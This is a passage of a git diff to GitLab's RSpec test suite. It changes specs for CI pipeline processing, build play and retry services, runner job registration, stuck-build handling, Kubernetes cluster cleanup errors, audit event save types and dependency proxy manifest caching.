- let!(:deploy_pages) { create_build('deploy_pages', stage: 'deploy', stage_idx: 2, scheduling_type: :dag) }
-
- it 'runs deploy_pages without waiting prior stages' do
- expect(process_pipeline).to be_truthy
-
- expect(stages).to eq(%w(pending created pending))
- expect(builds.pending).to contain_exactly(linux_build, mac_build, deploy_pages)
-
- linux_build.reset.success!
- deploy_pages.reset.success!
-
- expect(stages).to eq(%w(running pending running))
- expect(builds.success).to contain_exactly(linux_build, deploy_pages)
- expect(builds.pending).to contain_exactly(mac_build, linux_rspec, linux_rubocop)
-
- linux_rspec.reset.success!
- linux_rubocop.reset.success!
- mac_build.reset.success!
- mac_rspec.reset.success!
- mac_rubocop.reset.success!
-
- expect(stages).to eq(%w(success success running))
- expect(builds.pending).to contain_exactly(deploy)
- end
- end
- end
-
- context 'when a needed job is skipped', :sidekiq_inline do
- let!(:linux_build) { create_build('linux:build', stage: 'build', stage_idx: 0) }
- let!(:linux_rspec) { create_build('linux:rspec', stage: 'test', stage_idx: 1) }
- let!(:deploy) { create_build('deploy', stage: 'deploy', stage_idx: 2, scheduling_type: :dag) }
-
- before do
- create(:ci_build_need, build: deploy, name: 'linux:build')
- end
-
- it 'skips the jobs depending on it' do
- expect(process_pipeline).to be_truthy
-
- expect(stages).to eq(%w(pending created created))
- expect(all_builds.pending).to contain_exactly(linux_build)
-
- linux_build.reset.drop!
-
- expect(stages).to eq(%w(failed skipped skipped))
- expect(all_builds.failed).to contain_exactly(linux_build)
- expect(all_builds.skipped).to contain_exactly(linux_rspec, deploy)
- end
- end
-
- context 'when a needed job is manual', :sidekiq_inline do
- let!(:linux_build) { create_build('linux:build', stage: 'build', stage_idx: 0, when: 'manual', allow_failure: true) }
- let!(:deploy) { create_build('deploy', stage: 'deploy', stage_idx: 1, scheduling_type: :dag) }
-
- before do
- create(:ci_build_need, build: deploy, name: 'linux:build')
- end
-
- it 'makes deploy DAG to be skipped' do
- expect(process_pipeline).to be_truthy
-
- expect(stages).to eq(%w(skipped skipped))
- expect(all_builds.manual).to contain_exactly(linux_build)
- expect(all_builds.skipped).to contain_exactly(deploy)
- end
- end
-
- context 'when a bridge job has parallel:matrix config', :sidekiq_inline do
- let(:parent_config) do
- <<-EOY
- test:
- stage: test
- script: echo test
-
- deploy:
- stage: deploy
- trigger:
- include: .child.yml
- parallel:
- matrix:
- - PROVIDER: ovh
- STACK: [monitoring, app]
- EOY
- end
-
- let(:child_config) do
- <<-EOY
- test:
- stage: test
- script: echo test
- EOY
- end
-
- let(:pipeline) do
- Ci::CreatePipelineService.new(project, user, { ref: 'master' }).execute(:push).payload
- end
-
- before do
- allow_next_instance_of(Repository) do |repository|
- allow(repository)
- .to receive(:blob_data_at)
- .with(an_instance_of(String), '.gitlab-ci.yml')
- .and_return(parent_config)
-
- allow(repository)
- .to receive(:blob_data_at)
- .with(an_instance_of(String), '.child.yml')
- .and_return(child_config)
- end
- end
-
- it 'creates pipeline with bridges, then passes the matrix variables to downstream jobs' do
- expect(all_builds_names).to contain_exactly('test', 'deploy: [ovh, monitoring]', 'deploy: [ovh, app]')
- expect(all_builds_statuses).to contain_exactly('pending', 'created', 'created')
-
- succeed_pending
-
- # bridge jobs directly transition to success
- expect(all_builds_statuses).to contain_exactly('success', 'success', 'success')
-
- bridge1 = all_builds.find_by(name: 'deploy: [ovh, monitoring]')
- bridge2 = all_builds.find_by(name: 'deploy: [ovh, app]')
-
- downstream_job1 = bridge1.downstream_pipeline.processables.first
- downstream_job2 = bridge2.downstream_pipeline.processables.first
-
- expect(downstream_job1.scoped_variables.to_hash).to include('PROVIDER' => 'ovh', 'STACK' => 'monitoring')
- expect(downstream_job2.scoped_variables.to_hash).to include('PROVIDER' => 'ovh', 'STACK' => 'app')
- end
- end
-
- context 'when a bridge job has invalid downstream project', :sidekiq_inline do
- let(:config) do
- <<-EOY
- test:
- stage: test
- script: echo test
-
- deploy:
- stage: deploy
- trigger:
- project: invalid-project
- EOY
- end
-
- let(:pipeline) do
- Ci::CreatePipelineService.new(project, user, { ref: 'master' }).execute(:push).payload
- end
-
- before do
- stub_ci_pipeline_yaml_file(config)
- end
-
- it 'creates a pipeline, then fails the bridge job' do
- expect(all_builds_names).to contain_exactly('test', 'deploy')
- expect(all_builds_statuses).to contain_exactly('pending', 'created')
-
- succeed_pending
-
- expect(all_builds_names).to contain_exactly('test', 'deploy')
- expect(all_builds_statuses).to contain_exactly('success', 'failed')
- end
- end
-
- private
-
- def all_builds
- pipeline.processables.order(:stage_idx, :id)
- end
-
- def builds
- all_builds.where.not(status: [:created, :skipped])
- end
-
- def stages
- pipeline.reset.stages.map(&:status)
- end
-
- def builds_names
- builds.pluck(:name)
- end
-
- def builds_names_and_statuses
- builds.each_with_object({}) do |b, h|
- h[b.name.to_sym] = b.status
- h
- end
- end
-
- def all_builds_names
- all_builds.pluck(:name)
- end
-
- def builds_statuses
- builds.pluck(:status)
- end
-
- def all_builds_statuses
- all_builds.pluck(:status)
- end
-
- def succeed_pending
- builds.pending.each do |build|
- build.reset.success
- end
- end
-
- def succeed_running_or_pending
- pipeline.builds.running_or_pending.each do |build|
- build.reset.success
- end
- end
-
- def fail_running_or_pending
- pipeline.builds.running_or_pending.each do |build|
- build.reset.drop
- end
- end
-
- def cancel_running_or_pending
- pipeline.builds.running_or_pending.each do |build|
- build.reset.cancel
- end
- end
-
- def play_manual_action(name)
- builds.find_by(name: name).play(user)
- end
-
- def enqueue_scheduled(name)
- builds.scheduled.find_by(name: name).enqueue_scheduled
- end
-
- def retry_build(name)
- Ci::Build.retry(builds.find_by(name: name), user)
- end
-
- def manual_actions
- pipeline.manual_actions.reload
- end
-
- def create_build(name, **opts)
- create(:ci_build, :created, pipeline: pipeline, name: name, **with_stage_opts(opts))
- end
-
- def successful_build(name, **opts)
- create(:ci_build, :success, pipeline: pipeline, name: name, **with_stage_opts(opts))
- end
-
- def with_stage_opts(opts)
- { stage: "stage-#{opts[:stage_idx].to_i}" }.merge(opts)
- end
-
- def delayed_options
- { when: 'delayed', options: { script: %w(echo), start_in: '1 minute' } }
- end
-
- def unschedule
- pipeline.builds.scheduled.map(&:unschedule)
- end
-end
diff --git a/spec/services/ci/pipeline_processing/shared_processing_service_tests_with_yaml.rb b/spec/services/ci/pipeline_processing/shared_processing_service_tests_with_yaml.rb
deleted file mode 100644
index b4ad2512593..00000000000
--- a/spec/services/ci/pipeline_processing/shared_processing_service_tests_with_yaml.rb
+++ /dev/null
@@ -1,61 +0,0 @@
-# frozen_string_literal: true
-
-RSpec.shared_context 'Pipeline Processing Service Tests With Yaml' do
- let_it_be(:project) { create(:project, :repository) }
- let_it_be(:user) { project.owner }
-
- where(:test_file_path) do
- Dir.glob(Rails.root.join('spec/services/ci/pipeline_processing/test_cases/*.yml'))
- end
-
- with_them do
- let(:test_file) { YAML.load_file(test_file_path) }
- let(:pipeline) { Ci::CreatePipelineService.new(project, user, ref: 'master').execute(:pipeline).payload }
-
- before do
- stub_ci_pipeline_yaml_file(YAML.dump(test_file['config']))
- end
-
- it 'follows transitions' do
- expect(pipeline).to be_persisted
- Sidekiq::Worker.drain_all # ensure that all async jobs are executed
- check_expectation(test_file.dig('init', 'expect'), "init")
-
- test_file['transitions'].each_with_index do |transition, idx|
- event_on_jobs(transition['event'], transition['jobs'])
- Sidekiq::Worker.drain_all # ensure that all async jobs are executed
- check_expectation(transition['expect'], "transition:#{idx}")
- end
- end
-
- private
-
- def check_expectation(expectation, message)
- expect(current_state.deep_stringify_keys).to eq(expectation), message
- end
-
- def current_state
- # reload pipeline and all relations
- pipeline.reload
-
- {
- pipeline: pipeline.status,
- stages: pipeline.stages.pluck(:name, :status).to_h,
- jobs: pipeline.latest_statuses.pluck(:name, :status).to_h
- }
- end
-
- def event_on_jobs(event, job_names)
- statuses = pipeline.latest_statuses.by_name(job_names).to_a
- expect(statuses.count).to eq(job_names.count) # ensure that we have the same counts
-
- statuses.each do |status|
- if event == 'play'
- status.play(user)
- else
- status.public_send("#{event}!")
- end
- end
- end
- end
-end
diff --git a/spec/services/ci/play_build_service_spec.rb b/spec/services/ci/play_build_service_spec.rb
index babd601e0cf..34f77260334 100644
--- a/spec/services/ci/play_build_service_spec.rb
+++ b/spec/services/ci/play_build_service_spec.rb
@@ -79,12 +79,22 @@ RSpec.describe Ci::PlayBuildService, '#execute' do
{ key: 'second', secret_value: 'second' }]
end
+ subject { service.execute(build, job_variables) }
+
it 'assigns the variables to the build' do
- service.execute(build, job_variables)
+ subject
expect(build.reload.job_variables.map(&:key)).to contain_exactly('first', 'second')
end
+ context 'when variables are invalid' do
+ let(:job_variables) { [{}] }
+
+ it 'raises an error' do
+ expect { subject }.to raise_error(ActiveRecord::RecordInvalid)
+ end
+ end
+
context 'when user defined variables are restricted' do
before do
project.update!(restrict_user_defined_variables: true)
@@ -96,7 +106,7 @@ RSpec.describe Ci::PlayBuildService, '#execute' do
end
it 'assigns the variables to the build' do
- service.execute(build, job_variables)
+ subject
expect(build.reload.job_variables.map(&:key)).to contain_exactly('first', 'second')
end
@@ -104,8 +114,7 @@ RSpec.describe Ci::PlayBuildService, '#execute' do
context 'when user is developer' do
it 'raises an error' do
- expect { service.execute(build, job_variables) }
- .to raise_error Gitlab::Access::AccessDeniedError
+ expect { subject }.to raise_error Gitlab::Access::AccessDeniedError
end
end
end
diff --git a/spec/services/ci/process_sync_events_service_spec.rb b/spec/services/ci/process_sync_events_service_spec.rb
new file mode 100644
index 00000000000..00b670ff54f
--- /dev/null
+++ b/spec/services/ci/process_sync_events_service_spec.rb
@@ -0,0 +1,129 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::ProcessSyncEventsService do
+ let!(:group) { create(:group) }
+ let!(:project1) { create(:project, group: group) }
+ let!(:project2) { create(:project, group: group) }
+ let!(:parent_group_1) { create(:group) }
+ let!(:parent_group_2) { create(:group) }
+
+ subject(:service) { described_class.new(sync_event_class, hierarchy_class) }
+
+ describe '#perform' do
+ subject(:execute) { service.execute }
+
+ context 'for Projects::SyncEvent' do
+ let(:sync_event_class) { Projects::SyncEvent }
+ let(:hierarchy_class) { ::Ci::ProjectMirror }
+
+ before do
+ Projects::SyncEvent.delete_all
+
+ project1.update!(group: parent_group_1)
+ project2.update!(group: parent_group_2)
+ end
+
+ it 'consumes events' do
+ expect { execute }.to change(Projects::SyncEvent, :count).from(2).to(0)
+
+ expect(project1.ci_project_mirror).to have_attributes(
+ namespace_id: parent_group_1.id
+ )
+ expect(project2.ci_project_mirror).to have_attributes(
+ namespace_id: parent_group_2.id
+ )
+ end
+
+ it 'enqueues Projects::ProcessSyncEventsWorker if any left' do
+ stub_const("#{described_class}::BATCH_SIZE", 1)
+
+ expect(Projects::ProcessSyncEventsWorker).to receive(:perform_async)
+
+ execute
+ end
+
+ it 'does not enqueue Projects::ProcessSyncEventsWorker if no left' do
+ stub_const("#{described_class}::BATCH_SIZE", 2)
+
+ expect(Projects::ProcessSyncEventsWorker).not_to receive(:perform_async)
+
+ execute
+ end
+
+ context 'when there is no event' do
+ before do
+ Projects::SyncEvent.delete_all
+ end
+
+ it 'does nothing' do
+ expect { execute }.not_to change(Projects::SyncEvent, :count)
+ end
+ end
+
+ context 'when the FF ci_namespace_project_mirrors is disabled' do
+ before do
+ stub_feature_flags(ci_namespace_project_mirrors: false)
+ end
+
+ it 'does nothing' do
+ expect { execute }.not_to change(Projects::SyncEvent, :count)
+ end
+ end
+ end
+
+ context 'for Namespaces::SyncEvent' do
+ let(:sync_event_class) { Namespaces::SyncEvent }
+ let(:hierarchy_class) { ::Ci::NamespaceMirror }
+
+ before do
+ Namespaces::SyncEvent.delete_all
+
+ group.update!(parent: parent_group_2)
+ parent_group_2.update!(parent: parent_group_1)
+ end
+
+ shared_examples 'event consuming' do
+ it 'consumes events' do
+ expect { execute }.to change(Namespaces::SyncEvent, :count).from(2).to(0)
+
+ expect(group.ci_namespace_mirror).to have_attributes(
+ traversal_ids: [parent_group_1.id, parent_group_2.id, group.id]
+ )
+ expect(parent_group_2.ci_namespace_mirror).to have_attributes(
+ traversal_ids: [parent_group_1.id, parent_group_2.id]
+ )
+ end
+ end
+
+ context 'when the FFs sync_traversal_ids, use_traversal_ids and use_traversal_ids_for_ancestors are disabled' do
+ before do
+ stub_feature_flags(sync_traversal_ids: false,
+ use_traversal_ids: false,
+ use_traversal_ids_for_ancestors: false)
+ end
+
+ it_behaves_like 'event consuming'
+ end
+
+ it_behaves_like 'event consuming'
+
+ it 'enqueues Namespaces::ProcessSyncEventsWorker if any left' do
+ stub_const("#{described_class}::BATCH_SIZE", 1)
+
+ expect(Namespaces::ProcessSyncEventsWorker).to receive(:perform_async)
+
+ execute
+ end
+
+ it 'does not enqueue Namespaces::ProcessSyncEventsWorker if no left' do
+ stub_const("#{described_class}::BATCH_SIZE", 2)
+
+ expect(Namespaces::ProcessSyncEventsWorker).not_to receive(:perform_async)
+
+ execute
+ end
+ end
+ end
+end
diff --git a/spec/services/ci/register_job_service_spec.rb b/spec/services/ci/register_job_service_spec.rb
index 650353eb751..866015aa523 100644
--- a/spec/services/ci/register_job_service_spec.rb
+++ b/spec/services/ci/register_job_service_spec.rb
@@ -87,36 +87,10 @@ module Ci
end
context 'for specific runner' do
- context 'with tables decoupling disabled' do
- before do
- stub_feature_flags(
- ci_pending_builds_project_runners_decoupling: false,
- ci_queueing_builds_enabled_checks: false)
- end
-
- around do |example|
- allow_cross_joins_across_databases(url: 'https://gitlab.com/gitlab-org/gitlab/-/issues/332952') do
- example.run
- end
- end
-
- it 'does not pick a build' do
- expect(execute(specific_runner)).to be_nil
- end
- end
-
- context 'with tables decoupling enabled' do
- before do
- stub_feature_flags(
- ci_pending_builds_project_runners_decoupling: true,
- ci_queueing_builds_enabled_checks: true)
- end
-
- it 'does not pick a build' do
- expect(execute(specific_runner)).to be_nil
- expect(pending_job.reload).to be_failed
- expect(pending_job.queuing_entry).to be_nil
- end
+ it 'does not pick a build' do
+ expect(execute(specific_runner)).to be_nil
+ expect(pending_job.reload).to be_failed
+ expect(pending_job.queuing_entry).to be_nil
end
end
end
@@ -272,34 +246,10 @@ module Ci
context 'and uses project runner' do
let(:build) { execute(specific_runner) }
- context 'with tables decoupling disabled' do
- before do
- stub_feature_flags(
- ci_pending_builds_project_runners_decoupling: false,
- ci_queueing_builds_enabled_checks: false)
- end
-
- around do |example|
- allow_cross_joins_across_databases(url: 'https://gitlab.com/gitlab-org/gitlab/-/issues/332952') do
- example.run
- end
- end
-
- it { expect(build).to be_nil }
- end
-
- context 'with tables decoupling enabled' do
- before do
- stub_feature_flags(
- ci_pending_builds_project_runners_decoupling: true,
- ci_queueing_builds_enabled_checks: true)
- end
-
- it 'does not pick a build' do
- expect(build).to be_nil
- expect(pending_job.reload).to be_failed
- expect(pending_job.queuing_entry).to be_nil
- end
+ it 'does not pick a build' do
+ expect(build).to be_nil
+ expect(pending_job.reload).to be_failed
+ expect(pending_job.queuing_entry).to be_nil
end
end
end
@@ -790,17 +740,17 @@ module Ci
stub_feature_flags(ci_pending_builds_queue_source: true)
end
- context 'with ci_queueing_denormalize_shared_runners_information enabled' do
+ context 'with ci_queuing_use_denormalized_data_strategy enabled' do
before do
- stub_feature_flags(ci_queueing_denormalize_shared_runners_information: true)
+ stub_feature_flags(ci_queuing_use_denormalized_data_strategy: true)
end
include_examples 'handles runner assignment'
end
- context 'with ci_queueing_denormalize_shared_runners_information disabled' do
+ context 'with ci_queuing_use_denormalized_data_strategy disabled' do
before do
- stub_feature_flags(ci_queueing_denormalize_shared_runners_information: false)
+ stub_feature_flags(ci_queuing_use_denormalized_data_strategy: false)
end
around do |example|
@@ -812,37 +762,9 @@ module Ci
include_examples 'handles runner assignment'
end
- context 'with ci_queueing_denormalize_tags_information enabled' do
- before do
- stub_feature_flags(ci_queueing_denormalize_tags_information: true)
- end
-
- include_examples 'handles runner assignment'
- end
-
- context 'with ci_queueing_denormalize_tags_information disabled' do
+ context 'with ci_queuing_use_denormalized_data_strategy enabled' do
before do
- stub_feature_flags(ci_queueing_denormalize_tags_information: false)
- end
-
- around do |example|
- allow_cross_joins_across_databases(url: 'https://gitlab.com/gitlab-org/gitlab/-/issues/332952') do
- example.run
- end
- end
-
- include_examples 'handles runner assignment'
- end
-
- context 'with ci_queueing_denormalize_namespace_traversal_ids disabled' do
- before do
- stub_feature_flags(ci_queueing_denormalize_namespace_traversal_ids: false)
- end
-
- around do |example|
- allow_cross_joins_across_databases(url: 'https://gitlab.com/gitlab-org/gitlab/-/issues/332952') do
- example.run
- end
+ stub_feature_flags(ci_queuing_use_denormalized_data_strategy: true)
end
include_examples 'handles runner assignment'
diff --git a/spec/services/ci/retry_build_service_spec.rb b/spec/services/ci/retry_build_service_spec.rb
index 16635c64434..5d56084faa8 100644
--- a/spec/services/ci/retry_build_service_spec.rb
+++ b/spec/services/ci/retry_build_service_spec.rb
@@ -73,6 +73,8 @@ RSpec.describe Ci::RetryBuildService do
scheduled_at: 10.seconds.since)
end
+ let_it_be(:internal_job_variable) { create(:ci_job_variable, job: build) }
+
before_all do
# Make sure that build has both `stage_id` and `stage` because FactoryBot
# can reset one of the fields when assigning another. We plan to deprecate
@@ -86,7 +88,7 @@ RSpec.describe Ci::RetryBuildService do
file_type: file_type, job: build, expire_at: build.artifacts_expire_at)
end
- create(:ci_job_variable, job: build)
+ create(:ci_job_variable, :dotenv_source, job: build)
create(:ci_build_need, build: build)
create(:terraform_state_version, build: build)
end
@@ -125,6 +127,11 @@ RSpec.describe Ci::RetryBuildService do
expect(new_build.needs_attributes).to match(build.needs_attributes)
expect(new_build.needs).not_to match(build.needs)
end
+
+ it 'clones only internal job variables' do
+ expect(new_build.job_variables.count).to eq(1)
+ expect(new_build.job_variables).to contain_exactly(having_attributes(key: internal_job_variable.key, value: internal_job_variable.value))
+ end
end
describe 'reject accessors' do
@@ -147,7 +154,7 @@ RSpec.describe Ci::RetryBuildService do
Ci::Build.attribute_names.map(&:to_sym) +
Ci::Build.attribute_aliases.keys.map(&:to_sym) +
Ci::Build.reflect_on_all_associations.map(&:name) +
- [:tag_list, :needs_attributes] -
+ [:tag_list, :needs_attributes, :job_variables_attributes] -
# ee-specific accessors should be tested in ee/spec/services/ci/retry_build_service_spec.rb instead
described_class.extra_accessors -
[:dast_site_profiles_build, :dast_scanner_profiles_build] # join tables
@@ -310,7 +317,7 @@ RSpec.describe Ci::RetryBuildService do
expect(build).to be_processed
end
- context 'when build with deployment is retried' do
+ shared_examples_for 'when build with deployment is retried' do
let!(:build) do
create(:ci_build, :with_deployment, :deploy_to_production,
pipeline: pipeline, stage_id: stage.id, project: project)
@@ -329,7 +336,7 @@ RSpec.describe Ci::RetryBuildService do
end
end
- context 'when build with dynamic environment is retried' do
+ shared_examples_for 'when build with dynamic environment is retried' do
let_it_be(:other_developer) { create(:user).tap { |u| project.add_developer(other_developer) } }
let(:environment_name) { 'review/$CI_COMMIT_REF_SLUG-$GITLAB_USER_ID' }
@@ -356,6 +363,18 @@ RSpec.describe Ci::RetryBuildService do
end
end
+ it_behaves_like 'when build with deployment is retried'
+ it_behaves_like 'when build with dynamic environment is retried'
+
+ context 'when create_deployment_in_separate_transaction feature flag is disabled' do
+ before do
+ stub_feature_flags(create_deployment_in_separate_transaction: false)
+ end
+
+ it_behaves_like 'when build with deployment is retried'
+ it_behaves_like 'when build with dynamic environment is retried'
+ end
+
context 'when build has needs' do
before do
create(:ci_build_need, build: build, name: 'build1')
diff --git a/spec/services/ci/stuck_builds/drop_pending_service_spec.rb b/spec/services/ci/stuck_builds/drop_pending_service_spec.rb
index aa0526edf57..ebc57af77a0 100644
--- a/spec/services/ci/stuck_builds/drop_pending_service_spec.rb
+++ b/spec/services/ci/stuck_builds/drop_pending_service_spec.rb
@@ -3,8 +3,12 @@
require 'spec_helper'
RSpec.describe Ci::StuckBuilds::DropPendingService do
- let!(:runner) { create :ci_runner }
- let!(:job) { create :ci_build, runner: runner }
+ let_it_be(:runner) { create(:ci_runner) }
+ let_it_be(:pipeline) { create(:ci_empty_pipeline) }
+ let_it_be_with_reload(:job) do
+ create(:ci_build, pipeline: pipeline, runner: runner)
+ end
+
let(:created_at) { }
let(:updated_at) { }
@@ -14,6 +18,8 @@ RSpec.describe Ci::StuckBuilds::DropPendingService do
job_attributes = { status: status }
job_attributes[:created_at] = created_at if created_at
job_attributes[:updated_at] = updated_at if updated_at
+ job_attributes.compact!
+
job.update!(job_attributes)
end
@@ -41,12 +47,6 @@ RSpec.describe Ci::StuckBuilds::DropPendingService do
it_behaves_like 'job is dropped with failure reason', 'stuck_or_timeout_failure'
end
-
- context 'when created_at is outside lookback window' do
- let(:created_at) { described_class::BUILD_LOOKBACK - 1.day }
-
- it_behaves_like 'job is unchanged'
- end
end
context 'when job was updated less than 1 day ago' do
@@ -63,12 +63,6 @@ RSpec.describe Ci::StuckBuilds::DropPendingService do
it_behaves_like 'job is unchanged'
end
-
- context 'when created_at is outside lookback window' do
- let(:created_at) { described_class::BUILD_LOOKBACK - 1.day }
-
- it_behaves_like 'job is unchanged'
- end
end
context 'when job was updated more than 1 hour ago' do
@@ -85,12 +79,6 @@ RSpec.describe Ci::StuckBuilds::DropPendingService do
it_behaves_like 'job is unchanged'
end
-
- context 'when created_at is outside lookback window' do
- let(:created_at) { described_class::BUILD_LOOKBACK - 1.day }
-
- it_behaves_like 'job is unchanged'
- end
end
end
@@ -115,12 +103,6 @@ RSpec.describe Ci::StuckBuilds::DropPendingService do
it_behaves_like 'job is dropped with failure reason', 'stuck_or_timeout_failure'
end
-
- context 'when created_at is outside lookback window' do
- let(:created_at) { described_class::BUILD_LOOKBACK - 1.day }
-
- it_behaves_like 'job is unchanged'
- end
end
context 'when job was updated in less than 1 hour ago' do
@@ -137,12 +119,6 @@ RSpec.describe Ci::StuckBuilds::DropPendingService do
it_behaves_like 'job is unchanged'
end
-
- context 'when created_at is outside lookback window' do
- let(:created_at) { described_class::BUILD_LOOKBACK - 1.day }
-
- it_behaves_like 'job is unchanged'
- end
end
end
end
@@ -179,12 +155,6 @@ RSpec.describe Ci::StuckBuilds::DropPendingService do
it_behaves_like 'job is unchanged'
end
-
- context 'when created_at is outside lookback window' do
- let(:created_at) { described_class::BUILD_LOOKBACK - 1.day }
-
- it_behaves_like 'job is unchanged'
- end
end
end
diff --git a/spec/services/ci/update_pending_build_service_spec.rb b/spec/services/ci/update_pending_build_service_spec.rb
index d36564938c8..2bb0aded24a 100644
--- a/spec/services/ci/update_pending_build_service_spec.rb
+++ b/spec/services/ci/update_pending_build_service_spec.rb
@@ -43,9 +43,9 @@ RSpec.describe Ci::UpdatePendingBuildService do
expect(pending_build_2.instance_runners_enabled).to be_truthy
end
- context 'when ci_pending_builds_maintain_shared_runners_data is disabled' do
+ context 'when ci_pending_builds_maintain_denormalized_data is disabled' do
before do
- stub_feature_flags(ci_pending_builds_maintain_shared_runners_data: false)
+ stub_feature_flags(ci_pending_builds_maintain_denormalized_data: false)
end
it 'does not update all pending builds', :aggregate_failures do
@@ -67,9 +67,9 @@ RSpec.describe Ci::UpdatePendingBuildService do
expect(pending_build_2.instance_runners_enabled).to be_truthy
end
- context 'when ci_pending_builds_maintain_shared_runners_data is disabled' do
+ context 'when ci_pending_builds_maintain_denormalized_data is disabled' do
before do
- stub_feature_flags(ci_pending_builds_maintain_shared_runners_data: false)
+ stub_feature_flags(ci_pending_builds_maintain_denormalized_data: false)
end
it 'does not update all pending builds', :aggregate_failures do
diff --git a/spec/services/clusters/agent_tokens/create_service_spec.rb b/spec/services/clusters/agent_tokens/create_service_spec.rb
index 92629af06c8..dc7abd1504b 100644
--- a/spec/services/clusters/agent_tokens/create_service_spec.rb
+++ b/spec/services/clusters/agent_tokens/create_service_spec.rb
@@ -47,6 +47,21 @@ RSpec.describe Clusters::AgentTokens::CreateService do
expect(token.name).to eq(params[:name])
end
+ it 'creates an activity event' do
+ expect { subject }.to change { ::Clusters::Agents::ActivityEvent.count }.by(1)
+
+ token = subject.payload[:token].reload
+ event = cluster_agent.activity_events.last
+
+ expect(event).to have_attributes(
+ kind: 'token_created',
+ level: 'info',
+ recorded_at: token.created_at,
+ user: token.created_by_user,
+ agent_token: token
+ )
+ end
+
context 'when params are invalid' do
let(:params) { { agent_id: 'bad_id' } }
@@ -54,6 +69,10 @@ RSpec.describe Clusters::AgentTokens::CreateService do
expect { subject }.not_to change(::Clusters::AgentToken, :count)
end
+ it 'does not create an activity event' do
+ expect { subject }.not_to change { ::Clusters::Agents::ActivityEvent.count }
+ end
+
it 'returns validation errors', :aggregate_failures do
expect(subject.status).to eq(:error)
expect(subject.message).to eq(["Agent must exist", "Name can't be blank"])
diff --git a/spec/services/clusters/cleanup/project_namespace_service_spec.rb b/spec/services/clusters/cleanup/project_namespace_service_spec.rb
index ec510b2e3c5..8d3ae217a9f 100644
--- a/spec/services/clusters/cleanup/project_namespace_service_spec.rb
+++ b/spec/services/clusters/cleanup/project_namespace_service_spec.rb
@@ -95,5 +95,31 @@ RSpec.describe Clusters::Cleanup::ProjectNamespaceService do
subject
end
end
+
+ context 'when there is a Kubeclient::HttpError' do
+ let(:kubeclient_instance_double) do
+ instance_double(Gitlab::Kubernetes::KubeClient)
+ end
+
+ ['Unauthorized', 'forbidden', 'Certificate verify Failed'].each do |message|
+ it 'schedules ::ServiceAccountWorker with accepted errors' do
+ allow(kubeclient_instance_double)
+ .to receive(:delete_namespace)
+ .and_raise(Kubeclient::HttpError.new(401, message, nil))
+
+ expect(Clusters::Cleanup::ServiceAccountWorker).to receive(:perform_async).with(cluster.id)
+
+ subject
+ end
+ end
+
+ it 'raises error with unaccepted errors' do
+ allow(kubeclient_instance_double)
+ .to receive(:delete_namespace)
+ .and_raise(Kubeclient::HttpError.new(401, 'unexpected message', nil))
+
+ expect { subject }.to raise_error(Kubeclient::HttpError)
+ end
+ end
end
end
diff --git a/spec/services/clusters/cleanup/service_account_service_spec.rb b/spec/services/clusters/cleanup/service_account_service_spec.rb
index adcdbd84da0..769762237f9 100644
--- a/spec/services/clusters/cleanup/service_account_service_spec.rb
+++ b/spec/services/clusters/cleanup/service_account_service_spec.rb
@@ -52,5 +52,19 @@ RSpec.describe Clusters::Cleanup::ServiceAccountService do
expect { subject }.to change { Clusters::Cluster.where(id: cluster.id).exists? }.from(true).to(false)
end
end
+
+ context 'when there is a Kubeclient::HttpError' do
+ ['Unauthorized', 'forbidden', 'Certificate verify Failed'].each do |message|
+ before do
+ allow(kubeclient_instance_double)
+ .to receive(:delete_service_account)
+ .and_raise(Kubeclient::HttpError.new(401, message, nil))
+ end
+
+ it 'destroys cluster' do
+ expect { subject }.to change { Clusters::Cluster.where(id: cluster.id).exists? }.from(true).to(false)
+ end
+ end
+ end
end
end
diff --git a/spec/services/clusters/integrations/prometheus_health_check_service_spec.rb b/spec/services/clusters/integrations/prometheus_health_check_service_spec.rb
index 9db3b9d2417..7147f1b9b28 100644
--- a/spec/services/clusters/integrations/prometheus_health_check_service_spec.rb
+++ b/spec/services/clusters/integrations/prometheus_health_check_service_spec.rb
@@ -58,7 +58,7 @@ RSpec.describe Clusters::Integrations::PrometheusHealthCheckService, '#execute'
let(:prometheus_enabled) { true }
before do
- client = instance_double('PrometheusClient', healthy?: client_healthy)
+ client = instance_double('Gitlab::PrometheusClient', healthy?: client_healthy)
expect(prometheus).to receive(:prometheus_client).and_return(client)
end
diff --git a/spec/services/concerns/audit_event_save_type_spec.rb b/spec/services/concerns/audit_event_save_type_spec.rb
new file mode 100644
index 00000000000..fbaebd9f85c
--- /dev/null
+++ b/spec/services/concerns/audit_event_save_type_spec.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe AuditEventSaveType do
+ subject(:target) { Object.new.extend(described_class) }
+
+ describe '#should_save_database? and #should_save_stream?' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:query_method, :query_param, :result) do
+ :should_save_stream? | :stream | true
+ :should_save_stream? | :database_and_stream | true
+ :should_save_database? | :database | true
+ :should_save_database? | :database_and_stream | true
+ :should_save_stream? | :database | false
+ :should_save_stream? | nil | false
+ :should_save_database? | :stream | false
+ :should_save_database? | nil | false
+ end
+
+ with_them do
+ it 'returns corresponding results according to the query_method and query_param' do
+ expect(target.send(query_method, query_param)).to eq result
+ end
+ end
+ end
+end
diff --git a/spec/services/dependency_proxy/find_cached_manifest_service_spec.rb b/spec/services/dependency_proxy/find_cached_manifest_service_spec.rb
new file mode 100644
index 00000000000..29bdf1f11c3
--- /dev/null
+++ b/spec/services/dependency_proxy/find_cached_manifest_service_spec.rb
@@ -0,0 +1,123 @@
+# frozen_string_literal: true
+require 'spec_helper'
+
+RSpec.describe DependencyProxy::FindCachedManifestService do
+ include DependencyProxyHelpers
+
+ let_it_be(:image) { 'alpine' }
+ let_it_be(:tag) { 'latest' }
+ let_it_be(:dependency_proxy_manifest) { create(:dependency_proxy_manifest, file_name: "#{image}:#{tag}.json") }
+
+ let(:manifest) { dependency_proxy_manifest.file.read }
+ let(:group) { dependency_proxy_manifest.group }
+ let(:token) { Digest::SHA256.hexdigest('123') }
+ let(:headers) do
+ {
+ DependencyProxy::Manifest::DIGEST_HEADER => dependency_proxy_manifest.digest,
+ 'content-type' => dependency_proxy_manifest.content_type
+ }
+ end
+
+ describe '#execute' do
+ subject { described_class.new(group, image, tag, token).execute }
+
+ shared_examples 'downloading the manifest' do
+ it 'downloads manifest from remote registry if there is no cached one', :aggregate_failures do
+ expect { subject }.to change { group.dependency_proxy_manifests.count }.by(1)
+ expect(subject[:status]).to eq(:success)
+ expect(subject[:manifest]).to be_a(DependencyProxy::Manifest)
+ expect(subject[:manifest]).to be_persisted
